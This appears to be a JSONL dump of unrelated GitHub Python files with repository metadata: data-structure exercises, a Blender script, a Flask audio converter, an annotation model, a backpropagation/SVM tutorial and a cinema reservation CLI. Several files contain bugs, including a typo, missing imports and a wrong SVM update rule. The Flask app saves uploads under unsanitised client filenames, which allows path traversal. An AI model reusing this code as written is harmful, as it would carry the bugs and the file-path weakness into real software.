+{"seq_id":"72835890077","text":"class LinkedListNode:\n  def __init__ (self,value):\n    self.value = value\n    self.next = None\n\nclass LinkedList:\n  def __init__(self):\n    self.head = None\n    self.tail = None\n\n  def append(self,value):\n    newNode = LinkedListNode(value) # создаем звено\n\n    if self.head: # список непустой \n      self.tail.next = newNode\n      self.tail = newNode\n\n    else: # список пустой\n      self.head = newNode\n      self.tail = newNode\n  \n  def print(self):\n    currentNode = self.head\n    while(currentNode):\n      print(currentNode.value)\n      currentNode = currentNode.next\n\n####################################################################################################\n  def delete(self,value):\n    while(self.head and self.head.value == value):\n      self.head = self.nead.next\n    \n    curNode = self.head \n\n    if curNode:\n      while curNode.next:\n        if curNode.next.value == value:\n          curNode.next = curNode.next.next\n        else:\n          curNode = curNode.next\n    if self.tail:\n      if self.tail.value == value:\n        self.tail = curNode\n\n####################################################################################################\n\n\n\n\n\ndll = LinkedList()\ndll.append(1)\ndll.append(2)\ndll.append(3)\ndll.append(2)\ndll.append(2)\ndll.append(4)\ndll.append(2)\ndll.append(4)\n\ndll.delete(2)\ndll.print()\n","repo_name":"themorsten/Alghoritms","sub_path":"DeleteLinkedList/DeleteLinkedList.py","file_name":"DeleteLinkedList.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"33904091381","text":"\n# Only needs to be imported once\nimport bpy\n\n# Save model from slicer\ndir_path = os.path.dirname(os.path.realpath(__file__))\nmodel1_path = dir_path + \"\\\\model1.stl\"\nmodel2_path = dir_path + \"\\\\model2.stl\"\nslicer.util.saveNode(model1Node, model1_path)\nslicer.util.saveNode(model2Node, model2_path)\n\n# Clear and initialize Blender scene\nbpy.ops.wm.read_factory_settings()\n\nfor scene in bpy.data.scenes:\n    for obj in scene.objects:\n        scene.objects.unlink(obj)\n\nfor bpy_data_iter in (bpy.data.objects, bpy.data.meshes, bpy.data.lamps, bpy.data.cameras):\n  for id_data in bpy_data_iter:\n      bpy_data_iter.remove(id_data)\n\n# Import models to Blender\nbpy.ops.import_mesh.stl(filepath=model1_path)\nbpy.ops.import_mesh.stl(filepath=model2_path)\n\nobjects = bpy.data.objects\nmodel1 = objects['model1'] # Dependent on model name\nmodel2 = objects['model2']\n\n# Perform boolean operation\nbooleanOperation = model1.modifiers.new(type=\"BOOLEAN\", name=\"bool_7\")\nbooleanOperation.object = model2\nbooleanOperation.operation = 'INTERSECT'\nmodel2.hide = True\nbpy.context.scene.objects.active = bpy.data.objects['model1']\nbpy.ops.object.modifier_apply(apply_as='DATA', modifier=booleanOperation.name)\n\n# Delete other models and save desired output\nmodel1.select = False\nmodel2.select = True\nbpy.ops.object.delete()\nmodel1.select = True\nmodelOutput_path = dir_path + \"\\\\modelOutput.stl\"\nbpy.ops.export_mesh.stl(filepath=modelOutput_path)\n\n# Import back into Slicer\noutputModelPath = dir_path + \"\\\\modelOutput.stl\"\noutputModelNode = slicer.util.loadModel(outputModelPath)\n\n\n\n","repo_name":"SNRLab/Slicer-DepthMapTracking","sub_path":"Models/BlenderBooleanExample.py","file_name":"BlenderBooleanExample.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"32540772555","text":"# -*- coding: utf-8 -*-\n# @Date    : 2019/4/13\n# @Time    : 16:19\n# @Author  : Daishijun\n# @File    : kuaishou1.py\n# Software : PyCharm\n\ndef find(s1, s2):\n    m=[[0 for i in range(len(s2)+1)]  for j in range(len(s1)+1)]\n    mmax=0\n    for i in range(len(s1)):\n        for j in range(len(s2)):\n            if s1[i]==s2[j]:\n                m[i+1][j+1]=m[i][j]+1\n                if m[i+1][j+1]>mmax:\n                    mmax=m[i+1][j+1]\n    return mmax\n\ndef find_lcsubstr(s1, s2):  #输出长公共子串,长度.\n    m=[[0 for i in range(len(s2)+1)]  for j in range(len(s1)+1)]  #生成0矩阵，为方便后续计算，比字符串长度多了一列\n    mmax=0   #最长匹配的长度\n    p=0  #最长匹配对应在s1中的最后一位\n    for i in range(len(s1)):\n        for j in range(len(s2)):\n            if s1[i]==s2[j]:\n                m[i+1][j+1]=m[i][j]+1\n                if m[i+1][j+1]>mmax:\n                    mmax=m[i+1][j+1]\n                    p=i+1\n    return s1[p-mmax:p],mmax   #返回最长子串及其长度\n\n\n\n\nif __name__ == '__main__':\n    str1, str2 = input().split(',')\n    print(find(str1,str2))","repo_name":"Daishijun/InterviewAlgorithmCoding","sub_path":"kuaishou1.py","file_name":"kuaishou1.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"16965204543","text":"import tweepy\nfrom datetime import datetime\nfrom pytz import timezone\nfrom config import *\n\n# Authenticate to Twitter\ntwitter_auth = tweepy.OAuthHandler(TWITTER_CONSUMER_KEY, TWITTER_CONSUMER_SECRET)\ntwitter_auth.set_access_token(TWITTER_ACCESS_KEY, TWITTER_ACCESS_SECRET)\ntwitter_api = tweepy.API(twitter_auth)\n\n# Util functions\ndef log(level, msg):\n    print(\"[\" + str(datetime.now()) + \"] [\" + level + \"] \" + msg)\n\ndef str_to_datetime(str):\n    return datetime.fromisoformat(str[:-1]).replace(tzinfo=timezone('UTC')).astimezone(timezone('US/Eastern'))\n\ndef generate_request_js(url):\n    script = '''\n    function httpGet(theUrl)\n    {\n        let xmlhttp;\n        \n        if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari\n            xmlhttp=new XMLHttpRequest();\n        } else { // code for IE6, IE5\n            xmlhttp=new ActiveXObject(\"Microsoft.XMLHTTP\");\n        }\n        \n        xmlhttp.onreadystatechange=function() {\n            if (xmlhttp.readyState==4 && xmlhttp.status==200) {\n                return xmlhttp.responseText;\n            }\n        }\n        xmlhttp.open(\"GET\", theUrl, false);\n        xmlhttp.setRequestHeader(\"accept\", \"application/json, text/plain, */*\");\n        xmlhttp.setRequestHeader(\"authorization\", \"Bearer ''' + CAPTCHA_KEY + '''\");\n        xmlhttp.send();\n        \n        return xmlhttp.response;\n    }\n    return httpGet(\"''' + url + '''\");\n    '''\n    return script","repo_name":"lindayi/VaccineBotTO","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"14886111610","text":"from typing import List\n\n\nclass Solution:\n\n    def isValidSudoku(self, board: List[List[str]]) -> bool:\n        \"\"\"\n        依次判断每行、每列、每个九宫格是否有效即可\n        :param board:\n        :return:\n        \"\"\"\n\n        def isunique(nums: List[str]) -> bool:\n            \"\"\"\n            判断给过来的数字是否有重复\n            :param nums:\n            :return:\n            \"\"\"\n            nums_set = set()\n            for item in nums:\n                if item == \".\":\n                    continue\n                elif item in nums_set:\n                    return False\n                else:\n                    nums_set.add(item)\n            return True\n\n        for row in range(9):\n            if not isunique(board[row]) or not isunique([x[row] for x in board]):\n                return False\n        for row in [0, 3, 6]:\n            for col in [0, 3, 6]:\n                if not isunique([board[row + i][col + j] for i in [0, 1, 2] for j in [0, 1, 2]]):\n                    return False\n        return True\n","repo_name":"ABenxj/leetcode","sub_path":"36 isValidSudoku.py","file_name":"36 isValidSudoku.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"69983556960","text":"from flask import Flask, render_template, request, send_file, session\r\nimport os\r\nimport subprocess\r\n\r\napp = Flask(__name__)\r\napp.secret_key = 'your_secret_key_here'\r\n\r\n# Jбробляє GET-запит на головний шлях і повертає HTML-сторінку \"index.html\"\r\n@app.route('/')\r\ndef index():\r\n    return render_template('index.html')\r\n\r\n# Функція, що приймає розширення вхідного файлу та формат конвертації і повертає розширення вихідного файлу залежно від обраних параметрів (потрібно для безпеки)\r\ndef get_output_extension(input_extension, target_format):\r\n    if target_format == 'mp3':\r\n        return 'mp3'\r\n    elif target_format == 'wav':\r\n        return 'wav'\r\n    elif target_format == 'ogg':\r\n        return 'ogg'\r\n    elif target_format == 'flac':\r\n        return 'flac'\r\n    elif target_format == 'aac':\r\n        return 'aac'\r\n    elif target_format == 'm4a':\r\n        return 'm4a'\r\n    elif target_format == 'wma':\r\n        return 'wma'\r\n    elif target_format == 'aiff':\r\n        return 'aiff'\r\n    else:\r\n        return input_extension[1:]  # Якщо формат не відповідає жодному з вказаних, використовуєть розширення вхідного файлу, за винятком першого символу (крапки)\r\n\r\n# Функція, що обробляє POST-запит на маршрут \"/convert\" для конвертації аудіофайлу у вказаний формат\r\n@app.route('/convert', methods=['POST'])\r\ndef convert():\r\n    audio_file = request.files['audio'] # Отримання завантаженого аудіофайлу\r\n    target_format = request.form['format']  # Отримання обраного формату конвертації\r\n\r\n    file_path = os.path.join('uploads', audio_file.filename) # Шлях до завантаженого файлу\r\n    audio_file.save(file_path) # Збереження аудіофайлу на сервері\r\n\r\n    filename, extension = os.path.splitext(audio_file.filename) # Розбиття імені файлу та його розширення\r\n    output_extension = get_output_extension(extension, target_format) # Отримання розширення вихідного файлу\r\n    converted_file_path = os.path.join('converted', f'converted_{filename}.{output_extension}') # Шлях до конвертованого файлу\r\n\r\n    try:\r\n        command = ['ffmpeg', '-y', '-i', file_path, converted_file_path] # Команда для виклику ffmpeg для конвертації\r\n        subprocess.call(command)  # Виклик команди для виконання конвертації\r\n\r\n        session['converted_file'] = converted_file_path # Збереження шляху до конвертованого файлу в сесії\r\n\r\n        return send_file(converted_file_path, as_attachment=True)  # Відправлення конвертованого файлу клієнту для завантаження\r\n    except subprocess.CalledProcessError as e:\r\n            print(\"Error:\", e)\r\n            return \"Conversion failed.\", 400 # Повернення повідомлення про невдалу конвертацію у випадку помилки\r\n    finally:\r\n            os.remove(file_path)  # Видалення завантаженого файлу після виконання конвертації\r\n\r\n# Функція, що обробляє POST-запит на маршрут \"/remove_file\" для видалення конвертованого файлу\r\n@app.route('/remove_file', methods=['POST'])\r\ndef download_complete():\r\n    converted_file = session.get('converted_file') # Отримання шляху до конвертованого файлу з сесії\r\n    if converted_file:\r\n        os.remove(converted_file) # Видалення конвертованого файлу з сервера\r\n        session.pop('converted_file', None) # Видалення шляху до конвертованого файлу з сесії\r\n    return '', 200\r\n\r\nif __name__ == '__main__':\r\n    app.run(debug=True)","repo_name":"LLIoHi/AudioConvertor","sub_path":"AudioConvertorV4/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4315,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"38112755170","text":"import imantics as im\nimport json\n\nfrom mongoengine import *\n\nfrom .datasets import DatasetModel\nfrom .categories import CategoryModel\nfrom .events import Event\nfrom flask_login import current_user\n\n\nclass AnnotationModel(DynamicDocument):\n\n    COCO_PROPERTIES = [\"id\", \"image_id\", \"category_id\", \"segmentation\",\n                       \"iscrowd\", \"color\", \"area\", \"bbox\", \"metadata\",\n                       \"keypoints\", \"isbbox\"]\n\n    id = SequenceField(primary_key=True)\n    image_id = IntField(required=True)\n    category_id = IntField(required=True)\n    dataset_id = IntField()\n\n    segmentation = ListField(default=[])\n    area = IntField(default=0)\n    bbox = ListField(default=[0, 0, 0, 0])\n    iscrowd = BooleanField(default=False)\n    isbbox = BooleanField(default=False)\n\n    creator = StringField(required=True)\n    width = IntField()\n    height = IntField()\n\n    color = StringField()\n\n    keypoints = ListField(default=[])\n\n    metadata = DictField(default={})\n    paper_object = ListField(default=[])\n\n    deleted = BooleanField(default=False)\n    deleted_date = DateTimeField()\n\n    milliseconds = IntField(default=0)\n    events = EmbeddedDocumentListField(Event)\n\n    def __init__(self, image_id=None, **data):\n\n        from .images import ImageModel\n\n        if image_id is not None:\n            image = ImageModel.objects(id=image_id).first()\n\n            if image is not None:\n                data['image_id'] = image_id\n                data['width'] = image.width\n                data['height'] = image.height\n                data['dataset_id'] = image.dataset_id\n\n        super(AnnotationModel, self).__init__(**data)\n\n    def save(self, copy=False, *args, **kwargs):\n\n        if self.dataset_id and not copy:\n            dataset = DatasetModel.objects(id=self.dataset_id).first()\n\n            if dataset is not None:\n                self.metadata = dataset.default_annotation_metadata.copy()\n\n        if self.color is None:\n            self.color = im.Color.random().hex\n\n        if current_user:\n            self.creator = current_user.username\n        else:\n            self.creator = 'system'\n\n        return super(AnnotationModel, self).save(*args, **kwargs)\n\n    def is_empty(self):\n        return len(self.segmentation) == 0 or self.area == 0\n\n    def mask(self):\n        \"\"\" Returns binary mask of annotation \"\"\"\n        mask = np.zeros((self.height, self.width))\n        pts = [\n            np.array(anno).reshape(-1, 2).round().astype(int)\n            for anno in self.segmentation\n        ]\n        mask = cv2.fillPoly(mask, pts, 1)\n        return mask\n\n    def clone(self):\n        \"\"\" Creates a clone \"\"\"\n        create = json.loads(self.to_json())\n        del create['_id']\n\n        return AnnotationModel(**create)\n\n    def __call__(self):\n\n        category = CategoryModel.objects(id=self.category_id).first()\n        if category:\n            category = category()\n\n        data = {\n            'image': None,\n            'category': category,\n            'color': self.color,\n            'polygons': self.segmentation,\n            'width': self.width,\n            'height': self.height,\n            'metadata': self.metadata\n        }\n\n        return im.Annotation(**data)\n\n    def add_event(self, e):\n        self.update(push__events=e)\n\n\n__all__ = [\"AnnotationModel\"]\n","repo_name":"jsbroks/coco-annotator","sub_path":"backend/database/annotations.py","file_name":"annotations.py","file_ext":"py","file_size_in_byte":3307,"program_lang":"python","lang":"en","doc_type":"code","stars":1927,"dataset":"github-code","pt":"51"}
+{"seq_id":"32070848433","text":"# Single gate scenario\n\n## forward multiply gate\ndef forwardMultiplyGate(x,y):\n    return x * y\n\n## default values\nx = -2.0\ny = 3.0\n\n# Random Local Search\nimport random\n\ndef random_tweaking(x,y):\n    tweak_amount = 0.01\n    best_out = -100.0\n    best_x = x\n    best_y = y\n    for k in range(100):\n        x_try = x + tweak_amount * (random.random() * 2 - 1)\n        y_try = y + tweak_amount * (random.random() * 2 - 1)\n        out = forwardMultiplyGate(x_try,y_try)\n        if out > best_out:\n            best_out = out\n            best_x = x_try\n            best_y = y_try\n    ## returns bests x, y & output\n    return (\n        best_x,\n        best_y,\n        best_out\n        )\n## run\nprint(\n    \"\\nWith random tweaking :\",\n    random_tweaking(x,y),\n    sep = \"\\n\"\n    )\n\n# Numerical Gradient\ndef numerical_gradient(x,y):\n    h = 0.0001\n    out = forwardMultiplyGate(x,y)\n\n    ## deriving x\n    xph = x + h\n    out2 = forwardMultiplyGate(xph,y)\n    x_derivative = (out2 - out) / h\n\n    ## deriving y\n    yph = y + h\n    out3 = forwardMultiplyGate(x,yph)\n    y_derivative = (out3 - out) / h\n\n    ## computing numerical gradient components\n    step = 0.01\n    x = x + step * x_derivative\n    y = y + step * y_derivative\n    out_new = forwardMultiplyGate(x,y)\n\n    ## returns 1-step gradient convergent result\n    return (\n        x,\n        y,\n        out_new\n    )\n## run\nprint(\n    \"\\nWith numerical gradient :\",\n    numerical_gradient(x,y),\n    sep = \"\\n\"\n    )\n\n# Analytic Gradient\ndef analytic_gradient(x,y):\n    ## case specific shortcut\n    x_gradient = y\n    y_gradient = x\n\n    ## computes gradient components\n    step = 0.01\n    x = x + step * x_gradient\n    y = y + step * y_gradient\n    out_new = forwardMultiplyGate(x,y)\n\n    ## returns 1-step gradient convergent result\n    return (\n        x,\n        y,\n        out_new\n    )\n## run\nprint(\n    \"\\nWith analytic gradient :\",\n    analytic_gradient(x,y),\n    sep = \"\\n\"\n    )\n\n# Multiple gate scenario\n\n## new add gate\ndef forwardAddGate(x,y):\n    return x + y\n\n## default values\nx = -2\ny = 5\nz = -4\nout_default = -12\n\n## backpropagation on a 2-gates net\ndef forwardNet(x,y,z):\n    q = forwardAddGate(x,y) # default = 3\n    f = forwardMultiplyGate(q,z) # default = -12\n\n    ### from * gate\n    derivative_f_wrt_z = q # = 3\n    derivative_f_wrt_q = z # = -4\n\n    ### from + gate\n    derivative_q_wrt_x = 1.0\n    derivative_q_wrt_y = 1.0\n\n    ### chain rule\n    derivative_f_wrt_x = derivative_q_wrt_x * derivative_f_wrt_q # = -4\n    derivative_f_wrt_y = derivative_q_wrt_y * derivative_f_wrt_q # = -4\n\n    ### final gradient\n    gradient_f_wrt_xyz = [\n        derivative_f_wrt_x,\n        derivative_f_wrt_y,\n        derivative_f_wrt_z\n    ]\n\n    ### makes inputs converge\n    step = 0.01\n    x = x + step * derivative_f_wrt_x\n    y = y + step * derivative_f_wrt_y\n    z = z + step * derivative_f_wrt_z\n\n    ### updates net\n    q = forwardAddGate(x,y)\n    f = forwardMultiplyGate(q,z)\n\n    return (\n        x,\n        y,\n        z,\n        q,\n        f,\n        gradient_f_wrt_xyz\n    )\n## run\nprint(\n    \"\\nBackpropagating in a 2-gates net :\",\n    forwardNet(x,y,z),\n    sep = \"\\n\"\n    )\n\ndef numerical_gradient_multiple_gates(x,y,z):\n    ### step\n    h = 0.0001\n\n    ### bench values by our net\n    gradient_hat = forwardNet(x,y,z)[-1]\n    hat = forwardNet(x,y,z)[-2]\n\n    ### numerical check\n    x_derivative = (forwardNet(x+h,y,z)[-2] - hat) / h\n    y_derivative = (forwardNet(x,y+h,z)[-2] - hat) / h\n    z_derivative = (forwardNet(x,y,z+h)[-2] - hat) / h\n    check = [\n        x_derivative,\n        y_derivative,\n        z_derivative\n    ]\n\n    ### diagnostic\n    return [round(n) for n in gradient_hat] == [round(n) for n in check]\n## run\nprint(\n    \"\\nNumerical check :\",\n    numerical_gradient_multiple_gates(x,y,z)\n    )\n\n# Simple Neuron\n\nclass Unit:\n    def __init__(self, value, grad):\n        self.value = value\n        self.grad = grad\n\nclass MultiplyGate:\n    # forward\n    def forward(self,x,y):\n        # stores x & y units and returns their product z\n        self.x = x\n        self.y = y\n        self.z = Unit(self.x.value * self.y.value, 0.0)\n        return self.z\n\n    # backward\n    def backward(self):\n    # updates local gradients by chaining z with themselves\n        self.x.grad = self.x.grad + self.y.value * self.z.grad\n        self.y.grad = self.y.grad + self.x.value * self.z.grad\n\nclass AddGate:\n    # forward\n    def forward(self,x,y):\n        # stores x & y units and returns their sum z\n        self.x = x\n        self.y = y\n        self.z = Unit(self.x.value + self.y.value, 0.0)\n        return self.z\n    \n    # backward\n    def backward(self):\n    # updates local gradients by incrementing with z\n        self.x.grad = self.x.grad + 1 * self.z.grad\n        self.y.grad = self.y.grad + 1 * self.z.grad\n\nclass SigmoidGate:\n    # support expression\n    def sig(self,x):\n        import math\n        return 1 / (1 + math.exp(-x))\n\n    # forward\n    def forward(self,x):\n        # stores unit and returns z\n        self.x = x\n        self.z = Unit(self.sig(self.x.value), 0.0)\n        return self.z\n\n    # backward\n    def backward(self):\n        s = self.sig(self.x.value)\n        self.x.grad = self.x.grad + (s * (1 - s)) * self.z.grad\n\n# units\na = Unit(1.0,0.0)\nb = Unit(2.0,0.0)\nc = Unit(-3.0,0.0)\nx = Unit(-1.0,0.0)\ny = Unit(3.0,0.0)\n\n# gates\nmultiply_gate_0 = MultiplyGate()\nmultiply_gate_1 = MultiplyGate()\nadd_gate_0 = AddGate()\nadd_gate_1 = AddGate()\nsigmoid_gate = SigmoidGate()\n\ndef forwardNeuron():\n    ax = multiply_gate_0.forward(a,x)\n    print(\"ax = \",type(ax),ax.value,ax.grad)\n    by = multiply_gate_1.forward(b,y)\n    print(\"by = \",type(by),by.value,by.grad)\n\n    axbpy = add_gate_0.forward(ax,by)\n    print(\"axbpy = \",type(axbpy),axbpy.value,axbpy.grad)\n    axpbypc = add_gate_1.forward(axbpy,c)\n    print(\"axpbypc = \",type(axpbypc),axpbypc.value,axpbypc.grad)\n\n    s = sigmoid_gate.forward(axpbypc)\n    print(\"s = \",type(s),s.value,s.grad)\n    return s\n## run\nprint(\"\\nneuron forward pass :\")\ns = forwardNeuron()\n\n# backprop\ns.grad = 1.0\nsigmoid_gate.backward()\nadd_gate_1.backward()\nadd_gate_0.backward()\nmultiply_gate_1.backward()\nmultiply_gate_0.backward()\n\n## update values with chained gradients times the step size\nstep = 0.01\na.value = a.value + step * a.grad\nb.value = b.value + step * b.grad\nc.value = c.value + step * c.grad\nx.value = x.value + step * x.grad\ny.value = y.value + step * y.grad\n\nprint(\"\\nneuron backward pass :\")\nforwardNeuron()\n\n## isolate analytic gradients\nanalytic = [\n    a.grad,\n    b.grad,\n    c.grad,\n    x.grad,\n    y.grad,\n]\n\n## numerical gradient on single neuron\ndef numerical_gradient_single_neuron(a,b,c,x,y):\n    # fast forward\n    import math\n    return 1 / (1 + math.exp(-(a*x+b*y+c)))\n\n## step\nh = 0.0001\n\n## example inputs\na,b,c,x,y = 1,2,-3,-1,3\n\n## bench values\nhat = numerical_gradient_single_neuron(a,b,c,x,y)\n\n## numerical gradients\na_grad = (numerical_gradient_single_neuron(a+h,b,c,x,y) - hat) / h\nb_grad = (numerical_gradient_single_neuron(a,b+h,c,x,y) - hat) / h\nc_grad = (numerical_gradient_single_neuron(a,b,c+h,x,y) - hat) / h\nx_grad = (numerical_gradient_single_neuron(a,b,c,x+h,y) - hat) / h\ny_grad = (numerical_gradient_single_neuron(a,b,c,x,y+h) - hat) / h\n\nnumerical = [\n    a_grad,\n    b_grad,\n    c_grad,\n    x_grad,\n    y_grad\n]\n\nprint(\"\\nanalytic =\", [round(n,3) for n in analytic])\nprint(\"numerical =\", [round(n,3) for n in numerical])\n\n# # More on Backpropagation\n# ## multiplication\n# ### the entire expression\n# import math\n# x = math.pow((a * b + c) * d, 2)\n\n# ### can be split in 3 simpler gates\n# x1 = a * b + c\n# x2 = x1 * d\n# x = x2 * x2\n\n# ### allowing easier gradients computations (= backprop equations)\n# dx2 = 2 * x2 * dx\n# dd = x1 * dx2\n# dx1 = d * dx2\n# da = b * dx1\n# db = a * dx1\n# dc = 1.0 * dx1\n\n# ## division\n# ### the expression\n# x = (a + b)/(c + d)\n\n# ### decomposed in gates\n# x1 = a + b\n# x2 = c + d\n# x3 = 1.0 / x2\n# x = x1 * x3\n\n# ### gradients (always in reverse order for backprop)\n# dx1 = x3 * dx\n# dx3 = x1 * dx\n# dx2 = (-1.0 / x2**2) * dx3\n# da = 1.0 * dx1\n# db = 1.0 * dx1\n# dc = 1.0 * dx2\n# dd = 1.0 * dx2\n\n# SVM\n## circuit class\nclass Circuit:\n    # gates declarations\n    multiply_gate_0 = MultiplyGate()\n    multiply_gate_1 = MultiplyGate()\n    add_gate_0 = AddGate()\n    add_gate_1 = AddGate()\n\n    # forward process\n    def forward(self,x,y,a,b,c):\n        self.ax = multiply_gate_0.forward(a,x)\n        self.by = multiply_gate_1.forward(b,y)\n        self.axbpy = add_gate_0.forward(self.ax,self.by)\n        self.axpbypc = add_gate_1.forward(self.axbpy,c)\n        return self.axpbypc\n\n    # backward process\n    def backward(self,gradient_top):\n        self.axpbypc.grad = gradient_top\n        add_gate_1.backward()           # sets gradient in axpby and c\n        add_gate_0.backward()           # sets gradient in ax and by\n        multiply_gate_1.backward()      # sets gradient in b and y\n        multiply_gate_0.backward()      # sets gradient in a and x\n\n## svm class\nclass SVM:\n    a = Unit(1.0, 0.0)\n    b = Unit(-2.0, 0.0)\n    c = Unit(-1.0, 0.0)\n    circuit = Circuit()\n    unit_out = Unit(0 ,0)\n\n    def forward(self,x,y):\n        self.unit_out = self.circuit.forward(x,y,self.a,self.b,self.c)\n        return self.unit_out\n    \n    def backward(self,label):           # label is +1 or -1\n        # reset grad values to start chaining\n        self.a.grad = 0.0\n        self.b.grad = 0.0\n        self.c.grad = 0.0\n        self.pull = 0.0\n        if label == 1 and self.unit_out.value < 1:\n            self.pull = 1\n        elif label == -1 and self.unit_out.value > -1:\n            self.pull = -1\n        self.circuit.backward(self.pull)\n        self.a.grad = self.a.grad - self.a.value\n        self.b.grad = self.b.grad - self.b.value\n\n    def parameterUpdate(self):\n        step = 0.01\n        self.a.value = self.a.value + step + self.a.grad\n        self.b.value = self.b.value + step + self.b.grad\n        self.c.value = self.b.value + step + self.c.grad\n\n    def learnFrom(self,x,y,label):\n        self.forward(x,y)\n        self.backward(label)\n        self.parameterUpdate()\n\n\n### compute SGD\ndata = []\ndata.extend(\n    [[1.2, 0.7]]\n    + [[-0.3, -0.5]]\n    + [[3.0, 0.1]]\n    + [[-0.1, -1.0]]\n    + [[-1.0, 1.1]]\n    + [[2.1, -3.0]]\n    )\nlabels = [] \nlabels.extend(\n    [1]\n    + [-1]\n    + [1]\n    + [-1]\n    + [-1]\n    + [1]\n    )\nsvm = SVM()\n\n#### assess classification accuracy\ndef evalTrainingAccuracy():\n    num_correct = 0\n    for i in range(len(data)):\n        x = Unit(data[i][0], 0.0)\n        y = Unit(data[i][1], 0.0)\n        true_label = labels[i]\n        predicted_label = 1 if svm.forward(x,y).value > 0 else -1\n        if predicted_label == true_label:\n            num_correct += 1\n    return num_correct / len(data)\n\nimport math\nimport random\n\n#### learning loop\nfor k in range(400):\n    # pick random data point\n    i = math.floor(random.random() * len(data))\n    x = Unit(data[i][0], 0.0)\n    y = Unit(data[i][1], 0.0)\n    label = labels[i]\n    svm.learnFrom(x,y,label)\n    if k % 25 == 0:\n        print(\"training accuracy at iteration n°\", k, \":\", evalTrainingAccuracy())","repo_name":"zerotropism/nn_101","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"40189755202","text":"# the function turned out pretty messed up\n# and give_up option isn't accurate\nfrom show_movies import show_movies\nfrom show_movie_projections import *\n\nHALL_DIMENSION = 10\nTAKEN_SEAT_SIGN = \"X\"\nFREE_SEAT_SIGN = \".\"\nGIVE_UP = 0\n\n\ndef make_reservation(database):\n    username = input(\"Step 1 (User): Choose name> \")\n    if is_giving_up(username):\n        return\n    tickets = input(\"Step 1 (User): Choose number of tickets> \")\n    if is_giving_up(tickets):\n        return\n    else:\n        tickets = int(tickets)\n\n    show_movies(database)\n    movie_id = input(\"Step 2 (Movie): Choose a movie> \")\n    if is_giving_up(movie_id):\n        return\n\n    show_movie_projections(database, movie_id)\n    projection_id = choose_projection(database, tickets)\n    if projection_id == GIVE_UP:\n        return\n\n    available_spots(database, projection_id)\n\n    chosen_seats = choose_seats(database, projection_id, tickets)\n    if choose_seats == GIVE_UP:\n        return\n\n    reservation_info(database, movie_id, projection_id, sorted(chosen_seats))\n\n    finalize(database, username, projection_id, chosen_seats)\n    if finalize == GIVE_UP:\n        return\n\n\ndef is_giving_up(check_string):\n    return check_string == 'give_up'\n\n\ndef choose_projection(database, tickets):\n    while True:\n        projection_id = input(\"Step 3 (Projection): Choose a projection> \")\n        if is_giving_up(projection_id):\n            return GIVE_UP\n        if tickets > count_available_seats(database, projection_id):\n            print(\"There are not enough free spots, try another projection!\")\n        else:\n            break\n    return projection_id\n\n\ndef available_spots(database, projection_id):\n    print(\"Available seats (marked with a dot):\"\n          \"\\n   1 2 3 4 5 6 7 8 9 10\")\n    for row in range(1, HALL_DIMENSION + 1):\n        row_string = \"\"\n        for col in range(1, HALL_DIMENSION + 1):\n            if is_taken_spot(database, projection_id, row, col):\n                row_string = row_string + \" \" + TAKEN_SEAT_SIGN\n            else:\n                row_string += \" \" + FREE_SEAT_SIGN\n        if row == HALL_DIMENSION:\n            print(\"{}{}\".format(row, row_string))\n        else:\n            print(\"{} {}\".format(row, row_string))\n\n\ndef is_taken_spot(database, projection_id, row, col):\n    cursor = database.cursor()\n\n    cursor.execute('''SELECT row, col FROM Reservations\n                      WHERE projection_id = ?''', (projection_id,))\n    taken_spots = cursor.fetchall()\n\n    for spot in taken_spots:\n        if spot['row'] == row and spot['col'] == col:\n            return True\n    return False\n\n\ndef choose_seats(database, projection_id, tickets):\n    reserved_seats = []\n\n    for ticket in range(1, tickets + 1):\n        while True:\n            prompt = \"Step 4 (Seats): Choose seat {}> \".format(ticket)\n            seat = input(prompt)\n            if is_giving_up(seat):\n                return GIVE_UP\n            else:\n                seat = seat[1:-1].split(\", \")\n                row = int(seat[0])\n                col = int(seat[1])\n\n            row_out_of_bounds = row < 1 or row > HALL_DIMENSION\n            col_out_of_bounds = col < 1 or col > HALL_DIMENSION\n            if row_out_of_bounds or col_out_of_bounds:\n                print(\"Lol...NO!\")\n            elif is_taken_spot(database, projection_id, row, col):\n                print(\"This seat is already taken!\")\n            else:\n                reserved_seats.append((row, col))\n                break\n    return reserved_seats\n\n\ndef reservation_info(database, movie_id, projection_id, chosen_seats):\n    cursor = database.cursor()\n\n    cursor.execute('''SELECT name, rating FROM Movies WHERE id =?''',\n                  (movie_id,))\n    movie = cursor.fetchone()\n    movie_string = '{} ({})'.format(movie['name'], movie['rating'])\n\n    cursor.execute('''SELECT date, time, type FROM Projections WHERE id = ?''',\n                  (projection_id,))\n    projection = cursor.fetchone()\n    projection_string = \"{} {} ({})\".format(projection['date'],\n                                            projection['time'],\n                                            projection['type'])\n\n    output_string = '''This is your reservation:\n                       \\nMovie: {}\\nDate and Time: {}\\nSeats {}'''\n\n    print(output_string.format(movie_string,\n                               projection_string,\n                               chosen_seats))\n\n\ndef finalize(database, username, projection_id, chosen_seats):\n    while True:\n        is_final = input(\"Step 5 (Confirm - type 'finalize') > \")\n        if is_giving_up(is_final):\n            return GIVE_UP\n        elif is_final == 'finalize':\n            break\n\n    cursor = database.cursor()\n    for seat in chosen_seats:\n        row = seat[0]\n        col = seat[1]\n        table = \"Reservations(username, projection_id, row, col)\"\n        cursor.execute('''INSERT INTO {} VALUES(?,?,?,?)'''.format(table),\n                      (username, projection_id, row, col))\n\n    database.commit()\n\n    print(\"Thanks\")\n    return 